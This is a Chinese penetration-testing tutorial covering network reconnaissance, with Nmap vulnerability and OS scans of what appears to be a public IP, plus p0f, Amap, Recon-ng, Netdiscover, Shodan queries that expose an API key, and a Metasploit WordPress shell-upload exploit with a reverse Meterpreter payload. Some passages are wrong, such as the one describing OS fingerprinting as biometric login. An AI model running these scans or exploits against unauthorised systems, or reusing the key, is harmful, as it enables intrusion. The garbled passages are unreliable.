Nmap done: 1 IP address (1 host up) scanned in 280.35 seconds
使用此命令,Nmap将探测目标 IP 地址上运行的服务和相应的版本信息。
- 执行 Nmap 脚本:
nmap --script vuln target_ip
nmap --script vuln 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:36 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0071s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
110/tcp open pop3
443/tcp closed https
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 754.78 seconds
nmap --script vuln 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:44 EDT
Nmap scan report for 169.254.218.205
Host is up (0.023s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE
25/tcp open smtp
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1111/tcp closed lmsocialserver
3306/tcp open mysql
5102/tcp closed admeng
Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
Nmap done: 1 IP address (1 host up) scanned in 104.80 seconds
这将运行名为 “vuln” 的 Nmap 脚本,用于检测目标 IP 地址上的漏洞。
- 设置扫描速度/时间:
nmap -T4 target_ip
nmap -T4 169.254.218.205
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:52 EDT
Warning: 169.254.218.205 giving up on port because retransmission cap hit (6).
Nmap scan report for 169.254.218.205
Host is up (0.072s latency).
Not shown: 982 closed tcp ports (reset)
PORT STATE SERVICE
25/tcp open smtp
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell
902/tcp open iss-realsecure
912/tcp open apex-mesh
1007/tcp filtered unknown
1026/tcp filtered LSA-or-nterm
1038/tcp filtered mtqp
1455/tcp filtered esl-lm
1862/tcp filtered mysql-cm-agent
3306/tcp open mysql
5050/tcp filtered mmcc
5989/tcp filtered wbem-https
32771/tcp filtered sometimes-rpc5
50003/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 162.75 seconds
nmap -T4 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 09:53 EDT
Nmap scan report for 118.193.46.232
Host is up (0.0087s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
3306/tcp open mysql
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 49.26 seconds
使用此命令,您可以设置 Nmap 的扫描速度/时间。在示例中,使用级别 4 表示较快的扫描速度。
- 启用操作系统识别、版本探测和脚本扫描:
nmap -A target_ip
nmap -A 118.193.46.232
>>Starting Nmap 7.70 ( https://nmap.org ) at 2023-06-08 09:58 EDT
Nmap scan report for 118.193.46.232
Host is up (0.020s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open tcpwrapped
888/tcp open tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|WAP|phone
Running: iPXE 1.X, Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:ipxe:ipxe:1.0.0%2b cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: iPXE 1.0.0+, Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 ... 30
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.75 seconds
该命令启用了操作系统识别、版本探测和脚本扫描功能,提供了更全面的信息收集和分析。
-
指定输出文件的前缀:
nmap -oA output_file_prefix target_ip
- nmap的
-oA
选项允许同时将三种格式的输出文件存储到一个文件名相同的目录中,即在一个操作中生成nmap
格式、grepable
文件格式和XML
格式的输出文件。 -oN
:指定nmap格式的输出文件,格式为[文件前缀].nmap
。-oG
:指定grepable格式的输出文件,格式为[文件前缀].gnmap
。-oX
:指定XML格式的输出文件,格式为[文件前缀].xml
。- 使用
-oA
选项可以一次性将所有文件都生成,并且它们会出现在同一个目录中,命名格式为[文件前缀].nmap
,[文件前缀].gnmap
和[文件前缀].xml
。
- nmap的
以下是使用-oA
选项的语法:
nmap -oA [输出文件前缀] [目标IP地址]
例如,如果要扫描192.168.1.1 IP地址,并将扫描结果以“output_scan”为文件前缀保存在“/home/user/output/”文件夹中,则可以使用以下命令:
nmap -oA /home/user/output/output_scan 192.168.1.1
扫描结果将保存为/home/user/output/output_scan.nmap
,/home/user/output/output_scan.gnmap
和/home/user/output/output_scan.xml
这三个文件。
使用-oA
选项可以方便地将扫描结果保存到一个目录中,并且能够方便地比较和分析不同格式的输出文件。
- 操作
nmap -oA test_A 118.193.46.232
>>
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 10:33 EDT
Nmap scan report for 118.193.46.232
Host is up (0.013s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
3306/tcp open mysql
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 4.80 seconds
使用此命令,您可以指定输出文件的前缀,Nmap 将生成多个输出文件,包括文本、XML 和 nmap 格式 的文件。
- 显示详细输出信息:
nmap -v target_ip
nmap -v 118.193.46.232
使用此命令,Nmap 将显示更详细的扫描输出信息,包括每个扫描步骤的进展情况和结果。
4.4 查看打开的端口
4.4.1 TCP端口扫描工具Nmap
使用Nmap工具查看目标主机169.254.218.205上开放的端口号。
nmap 169.254.218.205
- 指定扫描端口范围
如果目标主机上打开的端口较多时,用户查看起来可能有点困难。这时候用户可以使用Nmap指定扫描的端口范围,如指定扫描端口号在1-1000之间的端口号,
执行命令如下所示:
root@kali:~# nmap -p 1-1000 169.254.218.205
- 扫描特定端口
Nmap工具还可以指定一个特定端口号来扫描。
**【实例4-2】**使用Nmap工具指定扫描在169.254.218.*网段内所有开启TCP端口22的主机。
执行命令如下所示:
root@kali:~# nmap -p 22 169.254.218.*
输出的结果显示了 169.254.218.*网段内所有开启 22 端口的主机信息。(部分截图)
使用NMAP工具还可以指定扫描端口22结果的输出格式。
执行命令如下所示:
root@kali:~# nmap -p 22 169.254.218.* -oG /tmp/nmap-targethost-tcp445.txt
执行以上命令后输出的信息与第三步中输出的结果类似,这里就不再列举。但是执行该命令后,Nmap 会将输出的信息保存到/tmp/nmap-targethost-tcp445.txt
文件中
4.4.2 图形化TCP端口扫描工具Zenmap
Zenmap是Nmap发现GUI版本,Zenmap是一个图形化的网络扫描工具,它是Nmap的一个前端界面,可以帮助用户更方便地使用Nmap进行端口扫描和主机发现等操作。
Zenmap提供了多种扫描选项和过滤器,可以根据用户的需求进行定制化配置,同时还支持多种输出格式,包括文本、XML和HTML等。Zenmap还提供了一些常用的扫描配置模板,例如快速扫描、操作系统检测、漏洞扫描等,方便用户快速进行常规的安全检测。
总之,Zenmap是一个功能强大、易于使用的网络扫描工具,适用于安全测试、网络管理和系统维护等领域。
教材:Zenmap是NMAP官方推出的一款基于NMAP的安全扫描图形用户界面。它的设计目标是快速地扫描大型网络,当然也可以使用它扫描单个主机。
新版的kali linux 已不自带zenmap,2018版的也没有,需要自己安装
1.使用需要安装zenmap的kali Linux的浏览器访问nmap的官网:https://nmap.org
选择Linux (RPM)
往下滑,点击Optional Zenmap GUI (all platforms): zenmap-7.94-1.noarch.rpm进行下载
2. 安装rpm格式转化工具fakeroot
因为Kali2020 不支持 rpm 命令,我们要将rpm包转换为deb格式的包,fakeroot工具就有这样的功能。
终端输入(建议在root下)
apt-get install alien fakeroot
或
sudo apt-get install alien fakeroot
3. 将rpm包转换为deb格式
终端输入以下命令:
fakeroot alien (rpm包名)
即:fakeroot alien zenmap-7.94-1.noarch.rpm
此时会多出一个转换后的deb包。(可以用ls
命令查看是否在当前路径下,不在的话一般放在/root/目录下,我的是在当前目录下的)
4.安装deb包格式的Zenmap
dpkg -i (deb包名)
即:dpkg -i zenmap_7.94-2_all.deb
图示为安装正常。
5. 安装完成,打开Zenmap。
选择kali linux,
搜索Zenmap,打开
当然,也可以在终端使用zenmap
命令打开==(注意:命令是小写)==
打开如下:
6.Zenmap软件图形化介绍
首页介绍,Zenamp生成的命令可以在命令行中直接运行,前提要安装Nmap命令包,不然Zenmap也无法使用。
端口/主机,这个模块可以看出扫描出的端口、协议、状态、服务、以及版本信息。
拓扑,这个模块可以实现路由跟踪
本地主机到目标主机经过多少个设备叫做路由跟踪
主机明细,这个模块可以清晰的看到目标主机的操作系统版本、使用的端口。
==注意:==有的主机可能扫出的操作系统不准确,可能被防火墙某种规则拦截或本地安全软件拦截导致扫出的操作系统精确度低。
扫描,这个模块不常用,在这个模块可以导入扫描文件或删除扫描命令
7.Nmap所识别的6个端口状态
7.1、open(开放的)
如果扫描该端口显示open证明该应用端口属于开放的。安全意识强的人 们知道每个开放的端口都是攻击的入口。
7.2、closed(关闭的)
如果扫描该端口显示closed证明该应用端口是关闭的,但是关闭的端口对于Nmap也是可访问的。
7.3、filtered(被过滤的)
如果扫描该端口显示filtered证明该应用端口可能被过滤,大概意思就是可能被专业的防火墙设备,路由器规则或者主机上的软件防火墙拦截下来了。
7.4、unfiltered(未被过滤的)
如果扫描该端口显示unfiltered证明可以访问的,但是Nmap不确定它是开放还是关闭。只有映射防火墙规则集的ACK扫描才会把端口分类到这种状态。用其他类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮忙确定该端口是否开放。
7.5、open|filtered(开放或者被过滤的)
如果扫描该端口显示open|filtered表示Nmap无法确定该端口是开放还是被过滤的。
7.6、closed|filterd(关闭或者被过滤的)
如果扫描该端口显示closed|filterd表示Nmap也不能确定该端口是否是关闭还是过滤的。
8.Intense scan (强扫描)(命令可以再终端运行,部分必须是root)
nmap -T4 -A -v 169.254.218.205 //强扫描,可以满足一般要求的扫描
-T4(0-5) 加快执行速度(速度越快越容易被发现)。
-A 操作系统与版本号进行探测。
-v 显示详细信息。
结果:
9. Intense scan plus UDP (UDP扫描)
nmap -sS -sU -T4 -A -v 169.254.218.* //UDP扫描 扫描速度慢
-sS 半连接扫描
-Su UDP扫描
10.Intense scan, all TCP ports (扫描所有TCP端口)
nmap -p 1-65535 -T4 -A -v 192.168.2.1 //扫描所有TCP端口,范围在1-65535之间
-p 指定端口扫描范围
nmap -p 1-65535 -T4 -A -v 169.254.218.205
11.Intense scan, no ping (非Ping扫描)
nmap -T4 -A -v -Pn 169.254.218.205 //非Ping扫描
-Pn 非Ping扫描
12.Ping scan (Ping扫描)
nmap -sn 169.254.218.205 //Ping扫描,速度快,容易被防火墙屏蔽,导致无扫描结果
-sn Ping扫描(关闭端口扫描)
13.Quick scan (快速扫描模式)
nmap -T4 -F 169.254.218.205 //快速扫描,容易被防火墙拦截
-F 快速模式
13.Quick traceroute (路由跟踪)
nmap -sn --traceroute 169.254.218.205 //路由跟踪
--traceroute 显示本机到目标跃点
14.Regular scan (常规扫描)
nmap 169.254.218.205 //常规扫描,不加任何参数
15.Quick scan plus (快速扫描加强模式)
nmap -sV -T4 -O -F --version-light 169.254.218.205 //快速扫描加强模式
-sV 探测端口及版本服务信息
-O 扫描操作系统类型
--version-light 设定侦测等级为2
16.Slow comprehensive scan (全面扫描)
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 169.254.218.205 //全面扫描
--script 脚本名 //使用脚本扫描
-PE;-PP // ICMP Ping Types扫描
-PS80,443 //对于80,443端口采用SYN包对目标进行扫描
-PA3389 //对于3389端口采用ACK包对目标进行扫描
-PU40125 //对于40125端口采用UDP开放端口
17.使用脚本扫描
选择"配置">“新的配置或命令”
弹出"配置编辑器"后-选择"脚本"
左面选项框里全是现成的脚本,你也可以自己往里写一个脚本或者添加脚本。
例如:
4.5 系统指纹识别
系统指纹识别是指在计算机系统中使用指纹识别技术进行身份验证和访问控制。它可以通过扫描用户的指纹来验证其身份并允许其访问系统或应用程序。系统指纹识别具有高度的准确性和安全性,因为每个人的指纹都是唯一的,难以伪造或复制。它还可以提高工作效率和用户体验,因为它可以消除复杂的密码输入过程,并且可以在短时间内快速完成身份验证。系统指纹识别技术已经应用于智能手机、平板电脑、笔记本电脑、门禁系统和银行系统等领域
4.5.1 使用NMAP工具识别系统指纹信息
- 使用Nmap命令的-O选项启用操作系统测试功能
打开终端或命令行窗口,输入以下命令:
nmap -O 目标IP地址
nmap -O 192.168.2.3
nmap -O 192.168.140.22
其中,“-O”
参数表示进行操作系统识别。
-
等待扫描结果。Nmap会扫描目标主机的开放端口和服务,并尝试识别操作系统类型。
-
查看扫描结果。Nmap会输出扫描结果,包括目标主机的IP地址、开放端口、服务和操作系统类型等信息。
结果:
输出的信息显示了主机 的指纹信息,包括目标主机打开的端口、MAC地址、操作系统类型和内核版本等。
4.5.2 指纹识别工具p0f
简介
p0f 是一款用于 passivetools.org 的网络流量分析工具,可用于识别和监视网络中的主机和操作系统。
-
打开终端并更新软件包列表:
sudo apt update
-
安装p0f:
sudo apt install p0f
-
安装完成后,可以使用以下命令来运行p0f:
sudo p0f -i eth0
其中,eth0
是你要监视的网络接口。你可以将其替换为你想要监视的接口名称。
基本用法
p0f [options]
options:
-i <interface>
:指定要监听的网络接口。
-p <file>
:指定用于读取数据包的文件。
-s <file>
:指定用于保存状态信息的文件。
-d
:启用调试模式,输出更详细的调试信息。
-h
:显示帮助信息。
示例
- 监听网络接口并识别主机和操作系统:
p0f -i eth0
- 从数据包文件中分析流量:
p0f -p packets.pcap
- 保存状态信息到文件并恢复状态:
p0f -s p0f.state
p0f -o [filedir]
指定输出格式。具体来说,-o
选项后面可以跟随以下值之一来指定输出的格 式:
-
simple
:简单输出格式,仅包含基本的识别结果。 -
json
:以 JSON 格式输出结果。 -
csv
:以逗号分隔的值 (CSV) 格式输出结果。 -
xml
:以 XML 格式输出结果。
附加资源
官方网站:http://lcamtuf.coredump.cx/p0f3/
官方文档:http://lcamtuf.coredump.cx/p0f3/docs.html
4.6 服务的指纹识别
服务指纹是一种用于识别和跟踪网络服务的技术。它通过收集和分析服务的元数据,如端口号、协议类型、服务版本等信息,生成一个唯一的服务指纹。
4.6.1 使用Nmap工具识别服务指纹信息
使用Nmap工具查看169.254.218.205服务上正在运行的端口。
执行命令如下所示:
nmap -sV 169.254.218.205
其中,-sV
参数表示使用服务指纹识别功能,<目标IP地址>
为你要扫描的目标IP地址。
执行命令后,Nmap会扫描目标主机的开放端口,并尝试识别每个端口上运行的服务及其版本信息。
输出结果中,会显示每个端口的状态、服务名称、版本信息等详细信息。
4.6.2 服务枚举工具Amap
Amap是一个服务器枚举工具,使用这个工具可以识别正运行在一个指定端口或一个范围端口上的应用程序 ,Amap 是一个检特定端口上运行的应用程序的工具。Amap 工作原理是向端口发送触发报文,然后将收到的回应与数据 库中结果进行匹配,并打印匹配的应用程序。
kali linux安装服务枚举工具Amap
- 打开终端,输入以下命令以安装amap:
apt install amap
- 验证Ampa是否已安装:
ampa --version
安装成功。
- 使用 Amap 工具在指定的 50~1000 端口范围内,测试目标主机169.254.218.205上正在运行的应用程序。
执行命令如下所示:
amap -bq 169.254.218.205 50-1000
4.7 其它信息收集手段
4.7.1 Recon-NG框架
简介
Recon-NG是由python编写的一个开源的Web侦查(信息收集)框架。Recon-ng框架是一个强大的工具,使用它可以自动的收集信息和网络侦查。
启动Recon-NG框架。
执行命令如下所示:
recon-ng
首次使用Recon-NG框架之前,可以使用help
命令查看所有可执行的命令。
如下所示:
[recon-ng][default] > help 或 recon-ng -h
用法
参数 | 说明 |
---|---|
back | 返回上一级 |
dashboard | 显示活动的总结 |
db | 工作区的数据库页面 |
exit | 退出recon-ng |
help | 帮助信息 |
index | 创造一个模块 |
keys | 管理第三方的api接口 |
marketplace | 应用市场 |
modules | 已经安装的模块 |
option | 管理当前文本的选项 |
pdb | 打开python进行调试 |
script | 记录并执行命令脚本 |
shell | 执行操作系统命令 |
show | 显示各种框架的条目 |
snapshots | 管理一个快照 |
spool | 将结果输出到一个文件里 |
modules | 命令介绍 |
modules load | 加载某个模块 |
modules reload | 退出某个模块 |
modules search | 搜索某个模块 |
可以使用show modules
命令查看所有有效的模块列表。
执行命令如下所示:
[recon-ng][default] > show modules
4.7.2 ARP侦查工具Netdiscover
简介
Netdiscover是一个主动/被动的ARP侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。
Netdiscover可以使用简单的命令行参数来控制扫描范围和扫描速度,并且提供了多种输出格式,例如文本、XML和HTML等。它还支持在网卡层面设置过滤规则以排除不需要扫描的主机或网络噪声干扰。
语法格式如下:
netdiscover [-i device] [-r range | -l file | -p] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-C]:
选项 | 说明 |
---|---|
-i device | 指定网络设备接口。 |
-r range | 指定扫描网络范围。 |
-l file | 指定扫描范围列表文件。 |
-p | 使用被动模式,不发送任何数据。 |
-s time | 每个ARP请求之间的睡眠时间。 |
-n node | 使用八字节的形式扫描。 |
-c count | 发送ARP请求的时间次数。 |
-f | 使用主动模式。 |
-d | 忽略配置文件 |
-S | 启用每个ARP请求之间抑制的睡眠时间。 |
-P | 打印结果。 |
-L | 将捕获信息输出,并继续进行扫描。 |
【实例4-5】使用Netdiscover工具攻击扫描局域网中所有的主机。
执行命令如下所示:
netdiscover
执行以上命令后,将显示如下所示的信息:
4.7.3 搜索引擎工具Shodan
Shodan是一款专门用于搜索、分析和监视与Internet连接的设备、仪器和工具的搜索引擎。它类似于Google,但是它不是在网站上搜索,而是在互联网上搜索各种与网络连接的设备,包括摄像头、路由器、服务器、智能家居设备等等。Shodan利用各种协议来搜索,例如HTTP、FTP、SSH和SNMP等等。由于Shodan可以搜索到一些未经身份验证的设备,因此它是黑客和安全研究人员喜爱使用的工具。同时,Shodan也可用于许多其他用途,如设备发现、资产管理、网络监控,并且提供API和基础设施以便于开发者和研究人员进行更深入的数据分析和利用。
hodan的官网网址是:https://www.shodan.io/
- CITY和COUNTRY命令
使用City和Country命令可以缩小搜索的地理位置。
例如:
country:US表示从美国进行搜索。
city:Memphis表示从孟斐斯城市搜索。
City和Country命令也可以结合使用。
例如:
country:US city:Memphis
- HOSTNAME命令
HOSTNAME命令通过指定主机名来扫描整个域名。
hostname:google表示搜索google主机。
- NET命令
使用NET命令扫描单个IP或一个网络范围。
如下所示:
net:192.168.1.10:扫描主机192.168.1.10。
net:192.168.1.0/24:扫描192.168.1.0/24网络内所有主机。
- TITLE命令
使用Title命令可以搜索项目。
如下所示:
title:“Server Room” 表示搜索服务器机房信息。
- 关键字搜索
Shodan使用一个关键字搜索是最受欢迎的方式。如果知道目标系统使用的服务器类型或嵌入式服务器名,来搜索一个Web页面是很容易的。
如下所示:
apache/2.2.8 200 ok
:表示搜索所有Apache服务正在运行的2.2.8版本,并且仅搜索打开的站点。apache/2.2.8 -401 -302
:表示跳过显示401的非法页或302删除页。
- 组合搜索
IIS/7.0 hostname:YourCompany.com city:Boston
表示搜索在波士顿所有正在运行IIS/7.0的Microsoft服务器。IIS/5.0 hostname:YourCompany.com country:FR
表示搜索在法国所有运行IIS/5.0的系统。Title:camera hostname:YourCompany.com
表示在某台主机中标题为camera的信息。geo:33.5,36.3 os:Linux
表示使用坐标轴(经度33.5,纬度36.3)的形式搜索Linux操作系统。
7.其它搜索术语
Port
:通过端口号搜索。OS
:通过操作系统搜索。After
或Before
:使用时间搜索服务。
【实例4-6】使用Metasploit实现Shodan搜索。具体操作步骤如下所示:
(1)在Shodanhq.com网站注册一个免费的账户。
(2)从http://www.shodanhq.com/api_doc网站获取API key,获取界面如图4.8所示。获取API key,为了在后面使用。
KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH
(3)启动PostgreSQL服务。
service postgresql start
(4)启动Metasploit服务。
service metasploit start
(5)启动MSF终端。
msfconsole
msf >
(6)选择auxiliary/gather/shodan_search
模块。
msf > use auxiliary/gather/shodan_search
msf auxiliary(shodan_search) > show options
(7)配置QUERY
和SHODAN_APIKEY
选项参数。执行命令如下所示:
msf auxiliary(shodan_search) > set SHODAN_APIKEY KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH
SHODAN_APIKEY => KeL4cQZzN5ZhSW5hBlfhnlABQJm831zH
msf auxiliary(shodan_search) > set QUERY iomega
QUERY => iomega
(8)启动搜索引擎。执行命令如下所示:
msf auxiliary(shodan_search) > run
4.8 绘制网络结构图
CaseFile是一个基于图表的情报收集和分析工具。其主要功能是通过在图表上添加节点、边缘和属性来创建和管理情报。CaseFile常被用于以下场景:
- 手动分析邮件、文档和其他数字文件,以发现隐藏的关系和模式。
- 合并多个来源的数据,以便更容易地发现威胁或机会。
- 分析社交网络和犯罪网络,以便快速了解他们的组织结构、成员和行动计划。
使用CaseFile,可以构建自己的知识库和情报库,并随时更新其中的信息。这样做可以大大提高对特定主题/目标的理解和分析水平,并更好地支持后续决策制定。同时,CaseFile也支持将数据导出为其他格式,如CSV、GEXF、PDF等。
在使用CaseFile时,您需要先了解如何创建节点、边缘和属性,并知道如何在图表上进行布局和导航。然后,您需要学习如何通过不同的工具和面板来编辑和管理图表上的元素,例如,添加注释、标签,导入/导出数据和进行过滤和搜索。最后,您需要知道如何使用CaseFile的API和插件系统扩展其功能。
要在Kali中安装CaseFile,您需要按照以下步骤进行操作:
- 打开终端窗口,在命令提示符下输入以下命令,以便更新系统软件包清单和软件包存储库索引:
sudo apt-get update
- 在终端中输入以下命令来安装Maltego:
sudo apt-get install maltego
- 安装完成后,打开Maltego并登录。
- 选择“
Transform Manager
(转换管理器)”选项卡,然后选择“Configure settings
(配置设置)”: - 在“
Transforms configuration directory
(转换配置目录)”选项卡中,单击“Open transforms configuration directory
(打开转换配置目录)”: - 在打开的文件夹中,查找名为“
CaseFile.conf
”的文件,并复制它到您的本地文件夹中。 - 将“
CaseFile.conf”
文件重命名为“casefile.mtz
”。 - 双击“
casefile.mtz
”文件以安装CaseFile
插件。在安装过程中,可能需要您在Maltego中输入凭据才能完成安装。 - 安装完成后,您可以在Transforms选项卡中使用CaseFile工具来创建您的拓扑图。
请注意,安装CaseFile插件需要具有管理员权限的用户登录到Kali中。如果您没有管理员权限,请联系您的系统管理员或让他们为您安装插件。
【实例4-7】使用CaseFile工具绘制一个网络结构图。
在终端输入maltego
,进入应用程序
注册
选择 “'new",新建拓扑图
网络拓扑图如下:
4.9 Metasploit Framework
4.9.1 简介
Metasploit Framework(Metasploit)是一款广泛使用的渗透测试和漏洞利用工具,由Rapid7开 发和维护。它提供了一套强大的功能和模块,用于发现、验证和利用系统中的安全漏洞。
- 渗透测试:Metasploit Framework可以用于进行渗透测试,通过模拟真实的攻击场景,测试 目标系统的安全性,并发现潜在的漏洞。
- 模块化框架:Metasploit基于模块化的架构,它提供了多种类型的模块,包括漏洞利用模 块、扫描模块、负载模块、辅助模块等,用户可以根据需要选择和配置模块来执行特定的任务。
- 漏洞利用:Metasploit Framework提供了大量的漏洞利用模块,可以帮助安全专业人员验证 系统中的漏洞,并进行相应的利用。这些模块包括针对各种操作系统、应用程序和服务的漏 洞利用代码。
- Meterpreter:Meterpreter是Metasploit Framework的后渗透工具,它提供了一个强大的远 程访问和控制平台。使Meterpreter,安全专业人员可以在受攻击的系统上执行各种操作, 包括文件传输、远程命令执行、截取屏幕、键盘记录等。
- 社区支持:Metasploit Framework拥有一个活跃的开源社区,用户可以从社区获取模块、漏 洞利用脚本和其他资源,与其他安全专业人员交流经验和知识。
- Metasploit Pro:除了开源的Metasploit Framework,Rapid7还提供了Metasploit Pro,它 是一个商业化的版本,提供了更多的功能和支持,适用于企业级的渗透测试需求。
4.9.2 使用
- 启动Msfconsole:
msfconsole
- 列出可用的模块:
msf > show modules
- 搜索特定类型的模块:
msf > search type:payload
msf > search type:auxiliary
- 选择一个模块并设置参数:
msf exploit(wp_admin_shell_upload) > set RHOSTS 192.168.0.10
msf exploit(wp_admin_shell_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(wp_admin_shell_upload) > set LHOST 192.168.0.2
具体步骤如下:
- 使用
search
命令搜索 exploit 模块
msf6 > search wp_admin_shell_upload
- 选定 exploit 模块并设置参数 使用
use
命令选定要使用的模块,并使用show options
命令检查模块所需的参数。
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(wp_admin_shell_upload) > show options
- 使用
set
命令为必需和可选参数设置值,设置目标 IP 地址:
msf6 exploit(wp_admin_shell_upload) > set RHOSTS 192.168.0.10
msf6 exploit(wp_admin_shell_upload) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(wp_admin_shell_upload) > set LHOST 192.168.0.2
- 查看模块的选项和默认值:
msf6 exploit(wp_admin_shell_upload) > show options
- 运行模块:
msf exploit(wp_admin_shell_upload) > exploit
- 使用Meterpreter会话:
msf exploit(wp_admin_shell_upload) > sessions -i 1
- 列出已经获得的会话:
msf > sessions
9.使用资源文件执行一系列命令:
msf > resource /path/to/resource.rc
- 退出Msfconsole:
msf > exit